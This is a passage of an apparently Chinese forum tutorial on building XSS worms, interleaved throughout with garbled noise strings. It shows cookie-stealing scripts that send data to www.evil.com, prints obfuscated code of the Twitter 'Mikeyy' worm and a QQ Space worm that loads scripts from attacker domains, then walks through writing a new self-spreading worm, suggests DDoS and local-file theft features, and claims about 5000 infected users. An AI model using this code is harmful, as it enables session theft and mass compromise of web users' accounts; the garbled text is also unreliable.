& A- j6 c* x5 A. {9 r+ G0 o# g/ f) N
* A- U& |4 y. Q4 a) ~  S

& a5 J7 ]* s0 i! n, ~& V( w' JSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
* M; L* m/ F+ N: o# x( P' q
acl TRACE method TRACE
; L& y$ E3 t, o+ g
...

3 Q1 m. w; l1 ~7 chttp_access deny TRACE
2 P4 q7 a& r5 o% i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
+ l) s# C/ x& K# X' F3 d  k4 |$ r; J) Q
6 _2 k# k. x# y3 Z8 v% k  v: z9 Pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
4 m2 ]3 n1 l# j) M# r1 q; I
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
/ M% L) ?6 r& W% w
XmlHttp.send(null);
& q8 C8 t1 P+ v! A. Z
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


( @5 @% b7 ]& {( H* D: O
! q  d. a7 C8 l  d: P7 IXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
, j" W; }7 n6 B! m4 m, l6 f
<script>
& R8 w9 L) Z; z( ]6 a复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
4 Z% I" m# y8 L" ]8 [  q
" x/ Z9 N) [% R) O* J$ Q6 天前 08:27
  c% l9 l0 G7 B+ a6 z3 r: X
! j7 h+ y% e7 I$ l  ]1 R第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

& g7 ~# H7 g3 b" V  v# A   2.   

4 c- N: ~& v+ Q! b7 s2 M. y/ X2 \   3. function XHConn(){  

% R5 ?. K$ p# p8 ^& F   4.   var _0x6687x2,_0x6687x3=false;  
- s8 {" x- T- w/ _+ w9 O
' ^' J7 _3 s; g  v" A0 A   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
' h( ?& ]4 M& L# f9 |- A+ m7 u- D4 L
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

) N1 x8 x4 ]8 X; i   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

. Q0 P  y4 M/ J5 H1 D5 V7 \( R   2.   var content = document.documentElement.innerHTML;  

! o/ ?: C/ ^0 u$ [   3.   var tmp_cookie=document.cookie;  

, w) Q( ^/ k2 Q+ L) ?   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
0 m8 X3 \0 k8 U. F; O# p8 B
   6.   var authtoken=authreg.exec(content);  
- W" \$ |4 Q; {- j. L( F4 u
) d3 X0 }. n$ }$ A/ O  ]   7.   var authtoken=authtoken[1];  

9 |5 S$ S9 I$ Q6 b1 O   8.   var randomUpdate= new Array();  
6 X7 f/ B( ^" w9 b# A
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
, W& P2 _0 Y+ i' s$ q9 K  O! Z
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

& n* `9 {! X0 K  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
+ s. H, _6 O2 H
4 x, M- J7 ?* [  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
) O! t& ]3 r- ~. |- w
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
, P9 Y3 \& M$ i- [0 H% N& b
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
- |7 X4 ], E( ]
( r; A/ r4 H! c8 ~1 ]2 }  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
/ t6 y8 S7 Z1 ~4 O* G% O
! ~* _: B! B7 x/ y8 i6 _  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
' v# x: w2 {" e, w
& B0 {( ?+ p$ m+ y$ ~6 f  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
, y8 Y9 f9 j% G! Q8 I4 Q
2 i3 C1 I1 l  i$ C  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

4 H' B5 Y' c2 }+ ^9 O, R  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

% H- L4 H9 u# y5 r: g4 H  27.     
2 o$ o( W2 G8 h' _3 \1 [7 J
' M2 ]' z# K9 E  28.   var ajaxConn= new XHConn();  
9 \) j( U, I: {1 Y; L$ g
3 }7 ?, Y/ Z% A; d* H  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

0 O6 h) o; q- w% i9 r  30.   var _0xf81bx1c="Mikeyy";  
# x6 y, x+ o, r* ^3 Y: l+ Q
: f4 j! \: _3 m8 z) O, U* t) ]  31.   var updateEncode=urlencode(_0xf81bx1c);  

/ H- d" V/ m4 r8 S  32.   var ajaxConn1= new XHConn();  
) Z: F1 x+ _) n8 _
9 h6 h6 P3 M% n% K/ f% N  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
1 A3 ?, u  [) g0 A% F5 w
' g" V# ~  x8 R/ _# q& U  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
, b; Q9 X1 I+ N# T: c, M4 ]
$ c7 x: t8 Q/ \: Z2 v- G  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

/ q. x' c7 x4 F( n  38.     

/ U2 D8 U( F) J# s4 F  39. } ;  
7 I$ E6 g. Z5 E7 y/ z6 D
, n, r/ S5 M5 Y, k% V  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
3 j; h0 O2 m5 m1 t
: o; M% W3 f8 Jwindow.onerror=killErrors;
! r) S6 y; W7 e/ K# Q  ]

; r# Q* _8 r' \' {* A* u
var shendu;shendu=4;

//---------------global---v------------------------------------------
- N5 F8 [$ J. u
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
. P! B) ~! j$ A8 \- {8 B
) U) ^9 E3 {' ~+ Mvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
' U7 z8 j1 U0 r3 ]/ V
( f7 Z2 ^7 l0 ^var myblogurl=new Array();var myblogid=new Array();
& j: a4 K  S9 R9 P! ^
        var gurl=document.location.href;

2 i3 e, b( |  h8 I  p6 G2 Y        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
, L. h/ M& d- A$ A5 t# H+ G( c
        var visitorID=top.document.documentElement.outerHTML;

3 x# c1 s9 }& d1 e2 F1 ~           var cookieS=visitorID.indexOf("g_iLoginUin = ");

0 [; @7 d# ?& P" a        visitorID=visitorID.substring(cookieS+14);

2 j  H3 v4 t7 {0 J  [2 E" p        cookieS=visitorID.indexOf(",");
0 X- ?1 m' j2 T# B. o
        visitorID=visitorID.substring(0,cookieS);

2 \+ b7 d: M! O. v+ Z. P        get_my_blog(visitorID);
7 p( A* |. _1 o5 ^7 p! Z  ^
        DOshuamy();
/ W- q1 r  U1 M% h

, w+ W* Q8 E2 q) A0 p4 _' D
6 k3 I  y/ J  c6 T' ]7 P* ?//挂马
) ^' b3 j: I% R+ Q* A) N
function DOshuamy(){

var ssr=document.getElementById("veryTitle");

* g+ a. Z; C( Y  s5 A. |; ~ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
1 K' ~, {2 {8 p

# g& b7 f( H8 n3 D& _& q
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
6 y5 |7 j/ ]7 ?7 {+ g7 Y1 x1 a
function get_my_blog(visitorID){

/ b# Z7 z6 h" l8 u% C% e8 @   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

! X1 \$ Y2 T  x* E1 }! Q# P& _. p   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
- w8 [9 N! k% ^" Y. W5 B
: X) }  S# B, ]! I1 t  D  b* l! H     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
9 j4 v, m/ H1 B, @7 I8 ]$ m
     xhr.send();guest=xhr.responseText;
) C, I  g% l* O
     get_my_blogurl(guest);    //执行这个函数

    }
' \, i/ C( [# `* z5 N) H
}



//这里似乎是判断没有登录的
& c/ N: g2 E# G, `- b( @
function get_my_blogurl(guest){

9 O  ?/ I1 M* z& {9 ^5 A& @  var mybloglist=guest;
/ c- q7 ~$ i: _  m- U
  var myurls;var blogids;var blogide;
5 Q) D( e* n' L% ?( @
  @1 s( j4 B( u2 ^' e% z  for(i=0;i<shendu;i++){
  X" b4 A3 w; u7 Q" \. J
' ?1 e' O1 B' C- H- l  J     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
$ d: K% F) X4 f" G0 y$ W
     if(myurls!=-1){    //找到了就执行下面的
  `/ x/ e, q7 E& q) l9 i. {
         mybloglist=mybloglist.substring(myurls+11);

1 H* I" S" _. b* T" }, v5 ]" ~         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

" g% q; \$ d- f8 [* r7 D6 t        }else{break;}
: W. Q4 d9 O  f% K. h
# G1 h1 N9 ^$ v}
+ D+ s6 @  m6 z. ~7 F: J
3 D/ x% E3 V$ E2 rget_my_testself();    //执行这个函数
3 E' ]  Z, R+ x7 k( Y0 ^
* {8 v$ Z, B5 E}

( |# r+ c+ n- |/ f$ F+ Q) r

//这里往哪跳就不知道了

8 B+ f6 J/ b+ S" r, Ffunction get_my_testself(){
" x8 Y" u. O8 N: l6 a& F; n: q
" c$ p- A& ~2 a. y  for(i=0;i<myblogid.length;i++){    //获得blogid的值
) [9 j: F& Y) v& W- b
5 L6 ?/ n8 k3 K7 ~2 L7 n' f      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
; A  J/ }- B5 O3 y8 A& ]
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
  U3 z6 b# M+ H" y. I
      if(xhr2){        //如果成功
4 P/ @7 p2 ~3 a+ z
5 `  B; \8 H+ h              xhr2.open("GET",url,false);     //打开上面的那个url

. ^" b6 w4 v' R" v& ~0 R" C              xhr2.send();
! E7 E8 |" i  f
7 y7 I# c: s! u. ~( \              guest2=xhr2.responseText;
; H! x% }2 v1 u& o' l# Y( n
! ]) v' a; k" i9 f, F7 A: z3 `+ Y              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
/ E9 q/ J' N# ]4 A# j3 t6 \) X! y* E( |
8 R* y, h# t" u3 A              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
* z7 e6 u' Z6 J. A- m, z9 h: Q3 ]* r
                targetblogurlid=myblogid;   
! [, Q% _& x- M' v
4 d2 d7 c" ^* e3 T7 [6 l- n" \                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

7 u; m1 z1 T. u8 D" e7 }2 t                break;
7 ]2 M' q7 u/ C+ \
               }

              if(mycheckit=="-1"){
# e7 \& z$ i+ u+ a" V( _5 M
                targetblogurlid=myblogid;
7 I4 G  G: j9 p
                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
& c* `' x: D- x4 {
$ k# d% m# R( E, L# U               }
3 X$ C8 [  I5 K( d
        }      

}
! U; A7 J* w4 ]4 b0 Y& h
}

, x9 W$ |( O! O

//--------------------------------------  

. D4 _; V: A5 @7 M. u//根据浏览器创建一个XMLHttpRequest对象

! S! ?, [9 l2 L# f5 I: b4 afunction createXMLHttpRequest(){

    var XMLhttpObject=null;  
6 P5 \8 E6 b: x  F) U( g! T
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
# A& k) ^" T" v" }  d6 S
( A- A9 C' S# Z+ }    else  

, C: M* u* m9 t2 Z9 g      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
- ^8 I3 x/ S! D) \0 S& N
6 P% o$ M( M3 w/ {8 |+ Q        for(var i=0;i<MSXML.length;i++)  
  w4 I) L/ V7 A: f
, p) a. x) e3 d# V9 H        {  
( U$ v3 E# c) F
3 ?, h0 x/ a1 h( U# X            try  

' W" |7 Z( k, T+ z; ?5 S            {  
( j) z6 e: V( [( c. U( e
* o: u8 y  V5 t& u  A# v# \                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

' x6 ~, E. o. D9 d- L0 S4 e% D            }  

            catch (ex) {  
3 D% L9 y' C3 F8 o2 j. @
6 f9 a% }) |0 s+ A/ b6 t            }  

- C! ~& z' A2 u- E' p* B. T( B+ T# |         }  
* M6 \) S; S" @2 A& d* p& N
5 V  ~8 M, [: s      }

: R, x5 ~: m$ Areturn XMLhttpObject;
1 @9 [' b* _1 t% ]5 a2 P
/ Q$ n/ {3 ?, C0 L* b}  
1 F* w/ W6 d+ Q

" a7 o0 q/ R! \" V' J! v, c  f
//这里就是感染部分了

7 \- Q. Y7 k+ E( a" b# Ifunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
% l) N1 t' a, q3 h4 G* J, n5 T
s2.type='text/javascript';
) O! e0 H7 M; M+ Q
document.getElementsByTagName('head').item(0).appendChild(s2);

- E  Q' n5 ]8 g" o" Q' ~}
' T! g- r8 l! K6 D9 b+ ~
4 `7 n- c" j4 b! ?

function add_jsdel(visitorID,targetblogurlid,gurl){

0 m8 b: {# O8 G* F; Svar s2=document.createElement('script');
3 U# c& g# [" |; v: A/ B
% K+ V  _/ m+ j$ R8 [' ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

" W4 ^" X- i4 g; z) `document.getElementsByTagName('head').item(0).appendChild(s2);
8 w3 T8 ]" X, _4 x. {# P
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) g+ ^- Z6 i2 Z2 s" h" \2 G3 |

" E* t; Q5 o* }下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
- i' u% z7 r' c7 q# _0 o
if(window.XMLHttpRequest) {
! N, {. O- S& q
request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
  s) P/ y5 Y2 h
" `' _4 W' x! s4 {6 m} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 n1 ?( C; s3 w9 e2 q; j3 f- u
0 l: q4 Y1 H: q( `1 i6 x& cfor(var i=0; i<versions.length; i++) {
. v8 P" B1 p, ~, p
+ X6 a9 v" T- F- n, H) itry {

request = new ActiveXObject(versions);
2 J# I5 p1 Q; ^6 K! h
} catch(e) {}

}
* |  {; ~+ H% S
7 F7 t, R9 c; q& I1 p- z}

( I/ f+ |# L8 N6 |xmlHttpReq=request;
0 R6 J; l6 Q$ @, C; l* X复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

7 \8 D! D& I6 t        var Browser_Version=parseFloat(navigator.appVersion);

* G) U8 A  e( Z# r3 R6 p$ m; {6 J        var Browser_Agent=navigator.userAgent;

0 v1 W  e' p+ l  ?& I0 E        
5 g4 ^* R' L- N/ n: R4 T
        var Actual_Version,Actual_Name;
* c- y! n* P8 t
8 g! e9 k, _, t% Y$ U8 z        
8 e) p. ]& A9 R9 J' a- A- n
" I6 ^8 y/ P9 f6 S- f7 \" {        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
+ ^  Q+ N( y2 w7 }; @- h
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
" \4 b3 G+ J3 ~  }3 T) h- Q
5 P8 Z1 J" P" _0 {- P% `        

        if(is_NN){

0 Z9 h- h! U5 ?6 S            if(Browser_Version>=5.0){
+ e* F+ g3 E0 }+ G1 T$ N
                var Split_Sign=Browser_Agent.lastIndexOf("/");
( a! z* J# m0 f
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
2 Y5 m3 w6 i1 G6 Z) @8 b9 ^
5 `* q: r5 a( b0 q7 @                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
! o, \. x" q" H8 I" f0 S* {" o

+ [" f* O) u8 q2 g8 w; H
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 @- t6 |7 I- [$ @  [5 T, M
            }
5 X& T8 j0 s* o
) U; ~& D# X4 ]9 M1 q4 e5 ]            else{
& s9 u* r: h( d8 ~; ]/ A. w0 C
+ k, G1 r4 `3 f3 o3 ?5 t' [                Actual_Version=Browser_Version;

- B3 g* {  J& s/ K$ ~! P; c                Actual_Name=Browser_Name;

' V+ Q& }5 p  y6 H+ ?, |            }

' G2 M5 R; U' a  x+ J$ e2 \        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
! \- ?; I  m0 d0 X7 X$ t
  M0 L7 Y" [7 E& i' g: C  b* M            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 ~+ f6 {$ \1 ~' z
            Actual_Name=Browser_Name;

, T- @5 k2 m% _# o$ G  W2 G            
4 j7 ~2 F4 A! t- }, K4 q- t# F
, p2 {3 _/ k' o% g" a2 K9 c1 }            if(Browser_Agent.indexOf("Maxthon")!=-1){
6 [& R6 b1 X9 ]; Y' E& n
                Actual_Name+="(Maxthon)";

& Z% F3 ]2 U% X) e5 v' a+ P            }
+ j* T9 v7 ?# Z3 [7 G  {, b( v4 V! \
            else if(Browser_Agent.indexOf("Opera")!=-1){

7 O: ~. t9 z- Y1 `$ [) C                Actual_Name="Opera";

0 m+ p/ y3 l/ p. A                var tempstart=Browser_Agent.indexOf("Opera");

, n3 G# h0 n# ~4 l) z! ~: O                var tempend=Browser_Agent.length;
; \5 p8 ^3 ^1 e; ?7 B5 O( g) a
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
6 r% \& X2 Z  u1 B
            }
- Y2 s$ L& j5 u1 o+ r( r/ Y# a$ I
        }
9 ?  J* L4 C' n, X9 W4 ^; ?- e
) k6 Z0 t* k6 o        else if(is_Ch){
; r4 x0 S/ V( P/ M; D$ y" x
( A5 e; ?- c& `  B8 F+ [+ o            var Version_Start=Browser_Agent.indexOf("Chrome");

5 m, }) L9 ~# R) @( s0 a+ j% Q            var Version_End=Browser_Agent.indexOf(";",Version_Start);

' n2 a8 E- y+ x% i. T& R7 r3 T            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
- U: q+ P' n- r! B6 @; X6 r4 ~
            Actual_Name=Browser_Name;

: r; A* _( n% O- q+ c            

" U. o4 U4 b+ E            if(Browser_Agent.indexOf("Maxthon")!=-1){

, j) k1 L1 f5 m+ t  d                Actual_Name+="(Maxthon)";
% i" g. f, Q  t7 k# {  ^
. ~& }) }1 C* R+ ]) P; R            }
7 V" z) v. \- J+ ?9 Y+ w
            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
' Q% p& M* n% t8 [% d
) X% ^! w0 u9 a# G& s                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

. a) p+ K7 x8 c+ h  u# P                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
  j5 G1 j0 \( m
: O% y. O* I( \8 v            }

$ I- S. s6 @9 m( X0 y; R! ~        }
$ e1 f# @3 o5 T1 ?( a* k
, L0 F0 C1 S) `, O1 j7 i6 n        else{

            Actual_Name="Unknown Navigator"
# L6 n4 I! n' [( y. q- Z$ _! C2 F
            Actual_Version="Unknown Version"

        }


9 {. }/ B) i% @. U8 D
6 o/ A( e/ e% ~5 i- m9 O        navigator.Actual_Name=Actual_Name;
" O1 b' r3 t/ H- c. q% q* x
        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;
: o/ {9 ]) l$ L2 ?: H
        this.Version=Actual_Version;

! H0 E( v) B: W( v3 s2 n" W! L. V    }
  R  n) k( x2 w
3 k/ C7 k. P! U) t) k0 d" r$ p2 c    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# W2 k& `' ^: a5 ^+ z  y! ^  y
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) [& k) k: Z( G4 g复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

$ ]1 {, n, q6 }& x+ fxmlHttpReq.send(null);

6 }+ n4 O) @* y9 P0 @5 Dvar resource = xmlHttpReq.responseText;
. i2 M! P0 J% p2 ^/ s$ H
, ?$ `. Z( z2 F" Tvar id=0;var result;
# F  d/ i; B. O0 |0 z
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

! u3 z) a: b1 J2 Z. N7 xwhile ((result = patt.exec(resource)) != null)  {

id++;

}
2 v; U8 [) ^8 m& h& k复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

3 \9 r4 i0 m5 n& j3 W$ [0 Eno=resource.search(/my name is/);

9 z7 f+ y' h, xvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

/ G- U2 l! \+ C, `var post="wd="+wd;
* U! H- u6 C1 T$ p$ `
: ]) V7 S4 n4 x5 P1 Z! r1 f8 KxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

! C5 u" B5 I/ A6 Q) ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

9 J( Z! Y2 P# W! ]8 t2 RxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
1 C8 A) j9 v7 V" b
% q4 n3 c: i5 g# ]9 n% h4 b4 \var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
6 @% f- V* m  s5 K2 e5 s
7 W  x! F. Q: M  L- Z+ _/ Xvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
) }' s" R) U& K4 b3 W, ^  N
var post="wd="+wd;

; N6 R1 R5 U1 h- x4 v# jxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

! [* ?% T! H' t! D* q' p2 kxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

8 v5 z0 v' k& u( b7 w6 Y1 V* _xmlHttpReq.setRequestHeader("content-length",post.length);

0 w4 a" M5 i& p  p, ]. ~0 t+ ]xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
8 N- r% d  t6 I0 u
}
0 u  s2 g7 `' Y, R! `6 o* W复制代码-----------------------------------------------------总结-------------------------------------------------------------------

3 T4 Q7 I/ `: @
3 A, f8 R. T1 R& |! f8 D
' \6 g) S$ {, ~5 u5 S& @本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" L9 a  D& c7 e蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
